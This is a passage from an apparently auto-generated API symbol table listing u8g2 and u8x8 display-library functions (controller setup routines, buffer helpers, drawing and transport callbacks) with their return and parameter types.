u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_erc24064_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1608_i2c_erc24064_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1610_ea_dogxl160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1610_ea_dogxl160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1610_ea_dogxl160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1610_i2c_ea_dogxl160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1610_i2c_ea_dogxl160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1610_i2c_ea_dogxl160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_cg160160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_cg160160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_cg160160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ea_dogm240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ea_dogm240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ea_dogm240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ea_dogxl240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ea_dogxl240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ea_dogxl240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ew50850_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ew50850_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_ew50850_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_cg160160_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_cg160160_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_cg160160_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ea_dogm240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ea_dogm240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ea_dogm240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ea_dogxl240_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ea_dogxl240_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ea_dogxl240_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ew50850_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ew50850_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1611_i2c_ew50850_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1638_160x128_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1638_160x128_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1638_160x128_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1701_ea_dogs102_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1701_ea_dogs102_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1701_ea_dogs102_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1701_mini12864_1,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1701_mini12864_2,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_Setup_uc1701_mini12864_f,void,"u8g2_t*, const u8g2_cb_t*, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8g2_UpdateDisplay,void,u8g2_t* -Function,-,u8g2_UpdateDisplayArea,void,"u8g2_t*, uint8_t, uint8_t, uint8_t, uint8_t" -Function,-,u8g2_UserInterfaceInputValue,uint8_t,"u8g2_t*, const char*, const char*, uint8_t*, uint8_t, uint8_t, uint8_t, const char*" -Function,-,u8g2_UserInterfaceMessage,uint8_t,"u8g2_t*, const char*, const char*, const char*, const char*" -Function,-,u8g2_UserInterfaceSelectionList,uint8_t,"u8g2_t*, const char*, uint8_t, const char*" -Function,-,u8g2_WriteBufferPBM,void,"u8g2_t*, void (*)(const char*)" -Function,-,u8g2_WriteBufferPBM2,void,"u8g2_t*, void (*)(const char*)" -Function,-,u8g2_WriteBufferXBM,void,"u8g2_t*, void (*)(const char*)" -Function,-,u8g2_WriteBufferXBM2,void,"u8g2_t*, void (*)(const char*)" -Function,-,u8g2_add_vector_x,u8g2_uint_t,"u8g2_uint_t, int8_t, int8_t, uint8_t" -Function,-,u8g2_add_vector_y,u8g2_uint_t,"u8g2_uint_t, int8_t, int8_t, uint8_t" -Function,-,u8g2_draw_l90_r0,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_ll_hvline_horizontal_right_lsb,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_ll_hvline_vertical_top_lsb,void,"u8g2_t*, u8g2_uint_t, u8g2_uint_t, u8g2_uint_t, uint8_t" -Function,-,u8g2_m_11_6_1,uint8_t*,uint8_t* -Function,-,u8g2_m_11_6_2,uint8_t*,uint8_t* -Function,-,u8g2_m_11_6_f,uint8_t*,uint8_t* -Function,-,u8g2_m_12_12_1,uint8_t*,uint8_t* -Function,-,u8g2_m_12_12_2,uint8_t*,uint8_t* -Function,-,u8g2_m_12_12_f,uint8_t*,uint8_t* -Function,-,u8g2_m_12_2_1,uint8_t*,uint8_t* -Function,-,u8g2_m_12_2_2,uint8_t*,uint8_t* -Function,-,u8g2_m_12_2_f,uint8_t*,uint8_t* -Function,-,u8g2_m_12_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_12_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_12_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_12_9_1,uint8_t*,uint8_t* -Function,-,u8g2_m_12_9_2,uint8_t*,uint8_t* -Function,-,u8g2_m_12_9_f,uint8_t*,uint8_t* -Function,-,u8g2_m_13_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_13_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_13_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_16_12_1,uint8_t*,uint8_t* -Function,-,u8g2_m_16_12_2,uint8_t*,uint8_t* -Function,-,u8g2_m_16_12_f,uint8_t*,uint8_t* -Function,-,u8g2_m_16_16_1,uint8_t*,uint8_t* -Function,-,u8g2_m_16_16_2,uint8_t*,uint8_t* -Function,-,u8g2_m_16_16_f,uint8_t*,uint8_t* -Function,-,u8g2_m_16_4_1,uint8_t*,uint8_t* -Function,-,u8g2_m_16_4_2,uint8_t*,uint8_t* -Function,-,u8g2_m_16_4_f,uint8_t*,uint8_t* -Function,-,u8g2_m_16_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_16_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_16_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_17_4_1,uint8_t*,uint8_t* -Function,-,u8g2_m_17_4_2,uint8_t*,uint8_t* -Function,-,u8g2_m_17_4_f,uint8_t*,uint8_t* -Function,-,u8g2_m_17_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_17_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_17_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_18_21_1,uint8_t*,uint8_t* -Function,-,u8g2_m_18_21_2,uint8_t*,uint8_t* -Function,-,u8g2_m_18_21_f,uint8_t*,uint8_t* -Function,-,u8g2_m_1_1_1,uint8_t*,uint8_t* -Function,-,u8g2_m_1_1_2,uint8_t*,uint8_t* -Function,-,u8g2_m_1_1_f,uint8_t*,uint8_t* -Function,-,u8g2_m_20_10_1,uint8_t*,uint8_t* -Function,-,u8g2_m_20_10_2,uint8_t*,uint8_t* -Function,-,u8g2_m_20_10_f,uint8_t*,uint8_t* -Function,-,u8g2_m_20_13_1,uint8_t*,uint8_t* -Function,-,u8g2_m_20_13_2,uint8_t*,uint8_t* -Function,-,u8g2_m_20_13_f,uint8_t*,uint8_t* -Function,-,u8g2_m_20_16_1,uint8_t*,uint8_t* -Function,-,u8g2_m_20_16_2,uint8_t*,uint8_t* -Function,-,u8g2_m_20_16_f,uint8_t*,uint8_t* -Function,-,u8g2_m_20_20_1,uint8_t*,uint8_t* -Function,-,u8g2_m_20_20_2,uint8_t*,uint8_t* -Function,-,u8g2_m_20_20_f,uint8_t*,uint8_t* -Function,-,u8g2_m_22_13_1,uint8_t*,uint8_t* -Function,-,u8g2_m_22_13_2,uint8_t*,uint8_t* -Function,-,u8g2_m_22_13_f,uint8_t*,uint8_t* -Function,-,u8g2_m_22_9_1,uint8_t*,uint8_t* -Function,-,u8g2_m_22_9_2,uint8_t*,uint8_t* -Function,-,u8g2_m_22_9_f,uint8_t*,uint8_t* -Function,-,u8g2_m_24_12_1,uint8_t*,uint8_t* -Function,-,u8g2_m_24_12_2,uint8_t*,uint8_t* -Function,-,u8g2_m_24_12_f,uint8_t*,uint8_t* -Function,-,u8g2_m_24_4_1,uint8_t*,uint8_t* -Function,-,u8g2_m_24_4_2,uint8_t*,uint8_t* -Function,-,u8g2_m_24_4_f,uint8_t*,uint8_t* -Function,-,u8g2_m_24_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_24_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_24_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_25_25_1,uint8_t*,uint8_t* -Function,-,u8g2_m_25_25_2,uint8_t*,uint8_t* -Function,-,u8g2_m_25_25_f,uint8_t*,uint8_t* -Function,-,u8g2_m_30_15_1,uint8_t*,uint8_t* -Function,-,u8g2_m_30_15_2,uint8_t*,uint8_t* -Function,-,u8g2_m_30_15_f,uint8_t*,uint8_t* -Function,-,u8g2_m_30_16_1,uint8_t*,uint8_t* -Function,-,u8g2_m_30_16_2,uint8_t*,uint8_t* -Function,-,u8g2_m_30_16_f,uint8_t*,uint8_t* -Function,-,u8g2_m_30_20_1,uint8_t*,uint8_t* -Function,-,u8g2_m_30_20_2,uint8_t*,uint8_t* -Function,-,u8g2_m_30_20_f,uint8_t*,uint8_t* -Function,-,u8g2_m_30_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_30_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_30_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_32_16_1,uint8_t*,uint8_t* -Function,-,u8g2_m_32_16_2,uint8_t*,uint8_t* -Function,-,u8g2_m_32_16_f,uint8_t*,uint8_t* -Function,-,u8g2_m_32_20_1,uint8_t*,uint8_t* -Function,-,u8g2_m_32_20_2,uint8_t*,uint8_t* -Function,-,u8g2_m_32_20_f,uint8_t*,uint8_t* -Function,-,u8g2_m_32_4_1,uint8_t*,uint8_t* -Function,-,u8g2_m_32_4_2,uint8_t*,uint8_t* -Function,-,u8g2_m_32_4_f,uint8_t*,uint8_t* -Function,-,u8g2_m_32_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_32_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_32_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_37_16_1,uint8_t*,uint8_t* -Function,-,u8g2_m_37_16_2,uint8_t*,uint8_t* -Function,-,u8g2_m_37_16_f,uint8_t*,uint8_t* -Function,-,u8g2_m_40_30_1,uint8_t*,uint8_t* -Function,-,u8g2_m_40_30_2,uint8_t*,uint8_t* -Function,-,u8g2_m_40_30_f,uint8_t*,uint8_t* -Function,-,u8g2_m_48_17_1,uint8_t*,uint8_t* -Function,-,u8g2_m_48_17_2,uint8_t*,uint8_t* -Function,-,u8g2_m_48_17_f,uint8_t*,uint8_t* -Function,-,u8g2_m_48_30_1,uint8_t*,uint8_t* -Function,-,u8g2_m_48_30_2,uint8_t*,uint8_t* -Function,-,u8g2_m_48_30_f,uint8_t*,uint8_t* -Function,-,u8g2_m_4_1_1,uint8_t*,uint8_t* -Function,-,u8g2_m_4_1_2,uint8_t*,uint8_t* -Function,-,u8g2_m_4_1_f,uint8_t*,uint8_t* -Function,-,u8g2_m_50_30_1,uint8_t*,uint8_t* -Function,-,u8g2_m_50_30_2,uint8_t*,uint8_t* -Function,-,u8g2_m_50_30_f,uint8_t*,uint8_t* -Function,-,u8g2_m_6_8_1,uint8_t*,uint8_t* -Function,-,u8g2_m_6_8_2,uint8_t*,uint8_t* -Function,-,u8g2_m_6_8_f,uint8_t*,uint8_t* -Function,-,u8g2_m_8_16_1,uint8_t*,uint8_t* -Function,-,u8g2_m_8_16_2,uint8_t*,uint8_t* -Function,-,u8g2_m_8_16_f,uint8_t*,uint8_t* -Function,-,u8g2_m_8_1_1,uint8_t*,uint8_t* -Function,-,u8g2_m_8_1_2,uint8_t*,uint8_t* -Function,-,u8g2_m_8_1_f,uint8_t*,uint8_t* -Function,-,u8g2_m_8_4_1,uint8_t*,uint8_t* -Function,-,u8g2_m_8_4_2,uint8_t*,uint8_t* -Function,-,u8g2_m_8_4_f,uint8_t*,uint8_t* -Function,-,u8g2_m_8_6_1,uint8_t*,uint8_t* -Function,-,u8g2_m_8_6_2,uint8_t*,uint8_t* -Function,-,u8g2_m_8_6_f,uint8_t*,uint8_t* -Function,-,u8g2_m_9_5_1,uint8_t*,uint8_t* -Function,-,u8g2_m_9_5_2,uint8_t*,uint8_t* -Function,-,u8g2_m_9_5_f,uint8_t*,uint8_t* -Function,-,u8g_sdl_get_key,int, -Function,-,u8log_Init,void,"u8log_t*, uint8_t, uint8_t, uint8_t*" -Function,-,u8log_SetCallback,void,"u8log_t*, u8log_cb, void*" -Function,-,u8log_SetLineHeightOffset,void,"u8log_t*, int8_t" -Function,-,u8log_SetRedrawMode,void,"u8log_t*, uint8_t" -Function,-,u8log_WriteChar,void,"u8log_t*, uint8_t" -Function,-,u8log_WriteDec16,void,"u8log_t*, uint16_t, uint8_t" -Function,-,u8log_WriteDec8,void,"u8log_t*, uint8_t, uint8_t" -Function,-,u8log_WriteHex16,void,"u8log_t*, uint16_t" -Function,-,u8log_WriteHex32,void,"u8log_t*, uint32_t" -Function,-,u8log_WriteHex8,void,"u8log_t*, uint8_t" -Function,-,u8log_WriteString,void,"u8log_t*, const char*" -Function,-,u8log_u8g2_cb,void,u8log_t* -Function,-,u8log_u8x8_cb,void,u8log_t* -Function,-,u8sl_Next,void,u8sl_t* -Function,-,u8sl_Prev,void,u8sl_t* -Function,-,u8x8_ClearDisplay,void,u8x8_t* -Function,-,u8x8_ClearDisplayWithTile,void,"u8x8_t*, const uint8_t*" -Function,-,u8x8_ClearLine,void,"u8x8_t*, uint8_t" -Function,-,u8x8_ConnectBitmapToU8x8,uint8_t,u8x8_t* -Function,-,u8x8_CopyStringLine,void,"char*, uint8_t, const char*" -Function,-,u8x8_Draw1x2Glyph,void,"u8x8_t*, uint8_t, uint8_t, uint8_t" -Function,-,u8x8_Draw1x2String,uint8_t,"u8x8_t*, uint8_t, uint8_t, const char*" -Function,-,u8x8_Draw1x2UTF8,uint8_t,"u8x8_t*, uint8_t, uint8_t, const char*" -Function,-,u8x8_Draw2x2Glyph,void,"u8x8_t*, uint8_t, uint8_t, uint8_t" -Function,-,u8x8_Draw2x2String,uint8_t,"u8x8_t*, uint8_t, uint8_t, const char*" -Function,-,u8x8_Draw2x2UTF8,uint8_t,"u8x8_t*, uint8_t, uint8_t, const char*" -Function,-,u8x8_DrawGlyph,void,"u8x8_t*, uint8_t, uint8_t, uint8_t" -Function,-,u8x8_DrawLog,void,"u8x8_t*, uint8_t, uint8_t, u8log_t*" -Function,-,u8x8_DrawString,uint8_t,"u8x8_t*, uint8_t, uint8_t, const char*" -Function,-,u8x8_DrawTile,uint8_t,"u8x8_t*, uint8_t, uint8_t, uint8_t, uint8_t*" -Function,-,u8x8_DrawUTF8,uint8_t,"u8x8_t*, uint8_t, uint8_t, const char*" -Function,-,u8x8_DrawUTF8Line,uint8_t,"u8x8_t*, uint8_t, uint8_t, uint8_t, const char*" -Function,-,u8x8_DrawUTF8Lines,uint8_t,"u8x8_t*, uint8_t, uint8_t, uint8_t, const char*" -Function,-,u8x8_FillDisplay,void,u8x8_t* -Function,-,u8x8_GetBitmapPixel,uint8_t,"u8x8_t*, uint16_t, uint16_t" -Function,-,u8x8_GetMenuEvent,uint8_t,u8x8_t* -Function,-,u8x8_GetStringLineCnt,uint8_t,const char* -Function,-,u8x8_GetStringLineStart,const char*,"uint8_t, const char*" -Function,-,u8x8_GetUTF8Len,uint8_t,"u8x8_t*, const char*" -Function,-,u8x8_InitDisplay,void,u8x8_t* -Function,-,u8x8_RefreshDisplay,void,u8x8_t* -Function,-,u8x8_SaveBitmapTGA,void,"u8x8_t*, const char*" -Function,-,u8x8_SendF,void,"u8x8_t*, const char*, ..." -Function,-,u8x8_SetContrast,void,"u8x8_t*, uint8_t" -Function,-,u8x8_SetFlipMode,void,"u8x8_t*, uint8_t" -Function,-,u8x8_SetFont,void,"u8x8_t*, const uint8_t*" -Function,-,u8x8_SetPowerSave,void,"u8x8_t*, uint8_t" -Function,-,u8x8_Setup,void,"u8x8_t*, u8x8_msg_cb, u8x8_msg_cb, u8x8_msg_cb, u8x8_msg_cb" -Function,-,u8x8_SetupBitmap,void,"u8x8_t*, uint16_t, uint16_t" -Function,-,u8x8_SetupDefaults,void,u8x8_t* -Function,-,u8x8_SetupMemory,void,u8x8_t* -Function,-,u8x8_SetupStdio,void,u8x8_t* -Function,-,u8x8_Setup_SDL_128x64,void,u8x8_t* -Function,-,u8x8_Setup_SDL_240x160,void,u8x8_t* -Function,-,u8x8_Setup_TGA_DESC,void,u8x8_t* -Function,-,u8x8_Setup_TGA_LCD,void,u8x8_t* -Function,-,u8x8_Setup_Utf8,void,u8x8_t* -Function,-,u8x8_UserInterfaceInputValue,uint8_t,"u8x8_t*, const char*, const char*, uint8_t*, uint8_t, uint8_t, uint8_t, const char*" -Function,-,u8x8_UserInterfaceMessage,uint8_t,"u8x8_t*, const char*, const char*, const char*, const char*" -Function,-,u8x8_UserInterfaceSelectionList,uint8_t,"u8x8_t*, const char*, uint8_t, const char*" -Function,-,u8x8_ascii_next,uint16_t,"u8x8_t*, uint8_t" -Function,-,u8x8_byte_3wire_sw_spi,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_4wire_sw_spi,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_8bit_6800mode,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_8bit_8080mode,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_EndTransfer,uint8_t,u8x8_t* -Function,-,u8x8_byte_SendByte,uint8_t,"u8x8_t*, uint8_t" -Function,-,u8x8_byte_SendBytes,uint8_t,"u8x8_t*, uint8_t, uint8_t*" -Function,-,u8x8_byte_SetDC,uint8_t,"u8x8_t*, uint8_t" -Function,-,u8x8_byte_StartTransfer,uint8_t,u8x8_t* -Function,-,u8x8_byte_empty,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_ks0108,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_sed1520,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_set_ks0108_cs,void,"u8x8_t*, uint8_t" -Function,-,u8x8_byte_ssd13xx_sw_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_byte_sw_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_001,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_011,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_100,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_110,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_EndTransfer,uint8_t,u8x8_t* -Function,-,u8x8_cad_SendArg,uint8_t,"u8x8_t*, uint8_t" -Function,-,u8x8_cad_SendCmd,uint8_t,"u8x8_t*, uint8_t" -Function,-,u8x8_cad_SendData,uint8_t,"u8x8_t*, uint8_t, uint8_t*" -Function,-,u8x8_cad_SendMultipleArg,uint8_t,"u8x8_t*, uint8_t, uint8_t" -Function,-,u8x8_cad_SendSequence,void,"u8x8_t*, const uint8_t*" -Function,-,u8x8_cad_StartTransfer,uint8_t,u8x8_t* -Function,-,u8x8_cad_empty,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_ld7032_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_ssd13xx_fast_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_ssd13xx_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_st75256_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_st7920_spi,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_uc16xx_i2c,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_cad_vsendf,void,"u8x8_t*, const char*, va_list" -Function,-,u8x8_capture_get_pixel_1,uint8_t,"uint16_t, uint16_t, uint8_t*, uint8_t" -Function,-,u8x8_capture_get_pixel_2,uint8_t,"uint16_t, uint16_t, uint8_t*, uint8_t" -Function,-,u8x8_capture_write_pbm_buffer,void,"uint8_t*, uint8_t, uint8_t, uint8_t (*)(uint16_t, uint16_t, uint8_t*, uint8_t), void (*)(const char*)" -Function,-,u8x8_capture_write_pbm_pre,void,"uint8_t, uint8_t, void (*)(const char*)" -Function,-,u8x8_capture_write_xbm_buffer,void,"uint8_t*, uint8_t, uint8_t, uint8_t (*)(uint16_t, uint16_t, uint8_t*, uint8_t), void (*)(const char*)" -Function,-,u8x8_capture_write_xbm_pre,void,"uint8_t, uint8_t, void (*)(const char*)" -Function,-,u8x8_d_a2printer_384x240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_helper_display_init,void,u8x8_t* -Function,-,u8x8_d_helper_display_setup_memory,void,"u8x8_t*, const u8x8_display_info_t*" -Function,-,u8x8_d_hx1230_96x68,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_il3820_296x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_il3820_v2_296x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ist3020_erc19264,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ist7920_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ks0108_128x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ks0108_erm19264,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_lc7981_160x160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_lc7981_160x80,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_lc7981_240x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_lc7981_240x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ld7032_60x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ls013b7dh03_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ls013b7dh05_144x168,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ls027b7dh01_400x240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_max7219_16x16,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_max7219_32x8,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_max7219_64x8,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_max7219_8x8,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_nt7534_tg12864r,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_null_cb,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_pcd8544_84x48,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_pcf8812_96x65,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ra8835_320x240,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ra8835_nhd_240x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sbn1661_122x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sed1330_240x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sed1520_122x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1106_128x64_noname,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1106_128x64_vcomh0,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1106_128x64_winstar,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1106_64x32,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1106_72x40_wise,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1107_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1107_64x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1107_pimoroni_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1107_seeed_128x128,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1107_seeed_96x96,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1108_160x160,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_sh1122_256x64,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd0323_os128064,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1305_128x32_adafruit,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1305_128x32_noname,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" -Function,-,u8x8_d_ssd1305_128x64_adafruit,uint8_t,"u8x8_t*, uint8_t, uint8_t, void*" 